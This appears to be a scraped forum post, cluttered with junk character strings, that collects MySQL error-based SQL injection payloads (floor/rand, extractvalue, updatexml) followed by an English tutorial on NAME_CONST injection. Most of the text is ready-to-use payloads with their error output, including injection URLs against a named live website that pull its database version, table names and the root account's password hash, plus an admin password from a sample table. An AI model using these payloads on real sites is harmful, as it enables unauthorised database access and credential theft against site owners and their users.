|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
/ W8 w; X5 u- U# ^$ \首先进行正常查询: mysql> select * from article where id = 1;6 F* |: P; D7 e( v A" Y. H+ x
+—-+——-+———+8 J4 I+ B& {% I( z2 L
| id | title | content | F# q' ^: x, Y4 I$ }" v
+—-+——-+———+$ N' O' C9 `$ Y% s
| 1 | test | do it |
6 f# i/ E) K i( t! B) g7 b+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
" i6 j7 Q U3 r+ ^+ D$ A6 _ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。" H, A- }8 ~* v% w: c, I, S( Y
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ p% }4 o$ J" P' }8 H0 I1 |ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
9 c" m0 F3 _( `ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue; ]+ [3 l! I7 N! y% M
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
6 o0 |9 y( y! c7 ~8 iERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
+ w1 y" ?# o3 s) J' M- a! m7 b4 v" K2 \) [( Y1 [
再收集:
: d* T; u, L4 t( ~& |$ s% b, i yhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) % M4 F, I, ?: Y7 I6 C) h
+ ]: W2 H9 g' ~1 p) vError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
' h' g3 [" z8 C+ O2 \( b5 ^& l
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
( z9 J! t$ x! P. O6 Y& a3 [+ S
^7 Q) \8 r7 A7 K1 w" y4 @Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
& z: n+ I# ]6 _8 {4 h. z
8 O1 \! R& R' G0 H/ `MYSQL高版本报错注入技巧-利用NAME_CONST注入
/ `0 ]2 _0 {4 n+ `, c+ _& NIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 2 B: M& h! e( S3 U
! n' q$ i+ B3 T+ N! J% n$ D1 T' P* U2 p v9 P0 K" W
相关信息
5 m+ R9 N, K* h& [; t& E$ [* e( a* P3 p) W% {0 U; U f$ ?
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.) ~9 C5 q) Y" d$ P
9 a1 G( Y5 G* E0 v# k
Code:
' Y" q* h$ s0 t' u! ]% WNAME_CONST(DATA, VALUE)
X( U7 g( y6 Y
6 d! K' x" a. f2 ^) C1 l, [ w9 sReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants./ ^+ ]# `! ~ N' ]+ }
P( Q8 o& F; e- `- E' V
SELECT NAME_CONST('TEST', 1) L I4 `) R6 B# k" ]+ X
* H- D# \ Z/ j9 Z9 s6 ]% o0 j8 D w! p+ O' V
( K9 f) L! j* U
|---------------|
2 \; r; J, n' v0 b| TEST |
$ z+ }- C( a; o# D| |2 g8 A6 C- G$ H4 y# ?
|---------------|
( Y+ k" k' ~# e0 G9 e8 O3 q| 1 |
9 h/ A$ ]) @: [- g: }# r- r| |
& k+ L/ c+ N1 Z|---------------|! @4 C: x) E s2 m
2 A6 J1 Y9 R/ d$ v6 N" |
. @0 i7 e5 B. m$ \! M0 U, f- V- R9 I3 x! Z6 u' e
; X# y. K$ T/ |3 x) m% \
http://dev.mysql.com/doc/refman/5.0/en/m...name-const* s$ g1 g9 o# e
Intro to MySQL Variables' U( y4 p+ c% j, d2 S+ i
! V( x; q8 x8 s1 ~' |$ o7 f
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
( d2 N0 O5 v+ `
! _( n+ y) @3 cCode:
% y6 D3 w; ^5 Z- qhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2617 t3 R' U) {3 n( K0 _/ i( T2 g
) f: l, W+ u' F5 [* _
) a* m1 M# j$ {; d5 B3 ?) h
4 D1 K3 N7 {1 F3 d0 f. b
0 F- @' p5 B2 S0 a7 x" {
% u8 P' S: Q2 e; }Code:% t6 K9 {' E- J+ p! d) f4 J$ S
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--" r3 H/ p6 {% J, U5 _
8 n* ~/ x" n( {6 f% C3 e
1 |; y. g! v6 _, ?0 J G, a$ K) y; ]8 KVAR = Your MySQL variable.
: ~' [! r! c, r3 g, |3 m/ g- P
; {0 l) B/ L; n) \3 L$ dMySQL 5.1.3 Server System Variables
5 }2 Z8 x) L3 U8 Q
7 c' X1 I& ?8 @: \, h. D2 sLet's try it out on my site..
+ F9 J( ` ^; g) c; Y* j4 F( g1 M! B
1 b6 ^+ I: z# D0 `4 WCode:3 w/ _. C' Z1 X& @
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
! U# T& e. T8 w$ Z1 a1 Q( B# ]
, ]4 w( ?) L' \% a4 ^Error uplicate column name '5.0.27-community-nt'- b6 x/ N% }6 G5 A
5 e5 r ^1 w2 t/ Y8 G) b, }( X# y: Q* `. l g5 z+ `
) H( H4 i: o$ }4 m0 z9 V
/ {! c! K8 U5 i8 ~4 n0 `! E
# L c1 Z' H% eNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
3 j1 F; f! u3 F: R7 p. s; {
- O# B: ^+ T! T: B4 ^Data Extraction8 t& {2 O- I# A* M& M1 W( W
; Z9 d0 K. _% T+ t6 X
Code:' h4 p- s, F6 a3 E6 Z+ d0 x
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--/ O. u9 R7 ]5 Q7 j) [% a% t
2 M3 s' G- Q+ u0 G# h* y
% S, w, j P: ~! y7 U) sWe should get a duplicate column 1 error... Y3 M6 c, @1 ~* O& _, ]
7 v z3 B$ ^4 d
Code:" t$ l4 k- B! `7 f
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
% }6 B- @9 a# d) {; L" z2 w, x, T. h6 `' i) V+ [
Error uplicate column name '1) j+ u/ r2 F: ^
8 A y6 h, e4 ~' n
6 r6 y& r0 l' `7 N
5 T) g: a3 }$ {1 r0 c0 n
c/ t9 Y4 M4 H5 R! k
. s Y0 p! k$ P
5 ~ y& }) k; ~6 f" {1 RNow let's get the tables out this bitch..
; C8 n- _/ B& z- m
/ z4 t0 K8 j' \ JCode:
& M: n9 H# h! f* P) g+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
8 f Y. i4 Y3 V. a. x
3 ]7 `/ a5 L) w
) G+ U; |/ f9 z( @9 h y7 ~Let's see if it works here, if it does, we can go on and finish the job.
8 ^ V( ]( {% O E1 E" w: L, L0 ]. W, o' A% ^
Code:/ E& y1 d5 i" U8 ~0 G, O
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--- p3 ~1 S$ R. Z1 {% S
7 C9 Y s4 C5 q) U8 m3 C7 X
7 I! r7 C& m1 G8 ~5 [
Error uplicate column name 'com_admanage* c( z4 d( \% N0 |- X
$ g- S1 d& t) X( L& G/ [2 q
; H# O# h4 B' R9 _7 Q4 D; E1 M* Y r- `( |- Y. p; U% i
& H! t8 D2 o1 O3 t G2 c; b( [9 ^: Y! ~8 n( K+ ^# u
& T8 m( i* W6 m; gNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.4 S0 W" g$ d9 t7 E% Z
( {. `. J: r/ L+ s8 GLet's get the columns out of the user table..4 v) z# e, j9 X. `3 B; i* K) t/ L* V
6 a5 u" o8 D& C7 R0 iCode:
5 U- g* L3 Q0 C& G6 A6 m5 o+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--2 \) k3 q b# a
8 t& `( [7 ^7 b
+ K: j% B: W5 T" J! J) [So mine looks like this, and I get the duplicate column name 'Host'.
4 a% b8 ?; F" k- v7 }% t9 J& j( @, |9 q; K
Code:
! m5 y0 o @' Y- B3 khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
* _- z) o5 Y/ d& T; m
# S* g e u, A+ R4 u% E Q, TError uplicate column name 'Host'
) Z! r' Z( k* s2 O8 o
8 o) }; H d. u
& e8 F7 H* Z( S. M
P: s% V" r+ u' Z. y. l8 l
& M$ F1 s, R6 H9 O$ Q0 f1 |
3 v* h1 |2 ]% x# W5 Y/ D5 ^( ]/ q5 Q- ]8 U6 m( G& q( o
Woot, time to finish this bitch off.
+ h& k4 ^$ N G5 V7 ` R; b9 Y, C7 P" _) H( u0 w3 P& W
Code:! S8 h7 z' O0 k. K
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--. O0 \* `4 R% a! Y: F- f
, S# \2 e3 Y0 K! t, Z$ |
+ ?0 s- O$ }" R, v: e
So mine looks like this...$ u9 q& h# r( b
- C* i) H+ S& [5 N
Code:
5 ]. g- A' H# J9 A- s. ]http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--) }1 W0 f$ t4 @! T- @
3 N& T# v, n, G( C* _! {! r( ZError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
/ x8 g5 c* c" ]) z# r1 o6 z" s; m0 [
: C& W+ a, ]* E O
7 x2 P$ r1 w3 W7 h6 o
8 F! @0 @ Z; K8 K/ H
" H& m: ]( S( R/ w0 _# S. s5 r i& ~, @
And there we have it, thanks for reading.0 T9 x7 z1 a1 m; J' I" m
9 C" s$ J! n$ R- A( G) O+ \4 k |